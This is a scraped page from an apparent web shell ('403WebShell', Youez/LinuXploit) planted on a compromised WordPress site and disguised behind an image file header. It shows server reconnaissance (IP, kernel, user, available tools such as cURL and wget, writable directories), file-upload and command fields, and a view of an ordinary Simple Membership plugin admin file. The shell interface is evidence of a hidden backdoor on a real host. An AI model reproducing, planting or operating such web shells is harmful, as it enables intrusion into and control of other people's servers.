????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.16.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/simple-membership/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/simple-membership/views/admin_tools_settings.php
<?php
$links = array();
if(isset($_REQUEST['swpm_link_for'])){
    //Rego complete link feature
    $link_for = isset($_POST['swpm_link_for']) ? sanitize_text_field($_POST['swpm_link_for']) : '';
    $member_id = filter_input(INPUT_POST, 'member_id', FILTER_SANITIZE_NUMBER_INT);
    $send_email = isset($_REQUEST['swpm_reminder_email']) ? true : false;
    $links = SwpmUtils::get_registration_complete_prompt_link($link_for, $send_email, $member_id);
}

if(isset($_REQUEST['recreate-required-pages-submit'])){
    //Lets recreate the required pages
    SwpmMiscUtils::create_mandatory_wp_pages();
    echo '<div class="swpm-green-box">' . SwpmUtils::_('The required pages have been re-created.') . '</div>';
}
?>
<!-- Note: This view file is included inside of post-stuff and post-body divs already -->
<div class="swpm-grey-box">
<?php _e("This interface contains useful tools for various admin operations.", "simple-membership") ?>
</div>

<div class="postbox">
    <h3 class="hndle"><label for="title"><?php echo SwpmUtils::_('Generate a Registration Completion link') ?></label></h3>
    <div class="inside">

        <p><strong><?php echo SwpmUtils::_('You can manually generate a registration completion link here and give it to your customer if they have missed the email that was automatically sent out to them after the payment.') ?></strong></p>

        <form action="" method="post">
            <table>
                <tr>
                    <?php echo SwpmUtils::_('Generate Registration Completion Link') ?>
                <br /><input type="radio" value="one" name="swpm_link_for" /><?php _e('For a Particular Member ID', 'simple-membership'); ?>
                <input type="text" name="member_id" size="5" value="" />
                <br /><strong><?php echo SwpmUtils::_('OR') ?></strong>
                <br /><input type="radio" checked="checked" value="all" name="swpm_link_for" /> <?php echo SwpmUtils::_('For All Incomplete Registrations') ?>
                </tr>
                <tr>
                    <td>
                        <div class="swpm-margin-top-10"></div>
                        <?php echo SwpmUtils::_('Send Registration Reminder Email Too') ?> <input type="checkbox" value="checked" name="swpm_reminder_email">
                    </td>
                </tr>
                <tr>
                    <td>
                        <div class="swpm-margin-top-10"></div>
                        <input type="submit" name="submit" class="button-primary" value="<?php echo SwpmUtils::_('Submit') ?>" />
                    </td>
                </tr>

                <tr>
                    <td>
                        <div class="swpm-margin-top-10"></div>
                        <?php
                        if (!empty($links)) {
                            echo '<div class="swpm-green-box">' . SwpmUtils::_('Link(s) generated successfully. The following link(s) can be used to complete the registration.') . '</div>';
                        } else {
                            echo '<div class="swpm-grey-box">' . SwpmUtils::_('Registration completion links will appear below') . '</div>';
                        }
                        ?>
                        <div class="swpm-margin-top-10"></div>
                        <?php foreach ($links as $key => $link) { ?>
                            <input type="text" size="120" readonly="readonly" name="link[<?php echo $key ?>]" value="<?php echo $link; ?>"/><br/>
                        <?php } ?>

                        <?php
                        if (isset($_REQUEST['swpm_reminder_email'])) {
                            echo '<div class="swpm-green-box">' . SwpmUtils::_('A prompt to complete registration email was also sent.') . '</div>';
                        }
                        ?>
                    </td>
                </tr>

            </table>
        </form>

    </div>
</div>

<div class="postbox">
    <h3 class="hndle"><label for="title"><?php echo SwpmUtils::_('Re-create the Required Pages') ?></label></h3>
    <div class="inside">

        <p><strong><?php echo SwpmUtils::_('If you have accidentally deleted the required pages that this plugin creates at install time, you can use this option to re-create them.') ?></strong></p>
        <p><a href="https://simple-membership-plugin.com/recreating-required-pages-simple-membership-plugin/" target="_blank"><?php echo SwpmUtils::_('This documentation'); ?></a><?php echo SwpmUtils::_(' has full explanation.'); ?></p>
        <form action="" method="post" onsubmit="return confirm('Do you really want to re-create the pages?');">
            <table>
                <tr>
                    <td>
                        <div class="swpm-margin-top-10"></div>
                        <input type="submit" name="recreate-required-pages-submit" class="button-primary" value="<?php echo SwpmUtils::_('Re-create the Required Pages') ?>" />
                    </td>
                </tr>
            </table>
        </form>

    </div>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit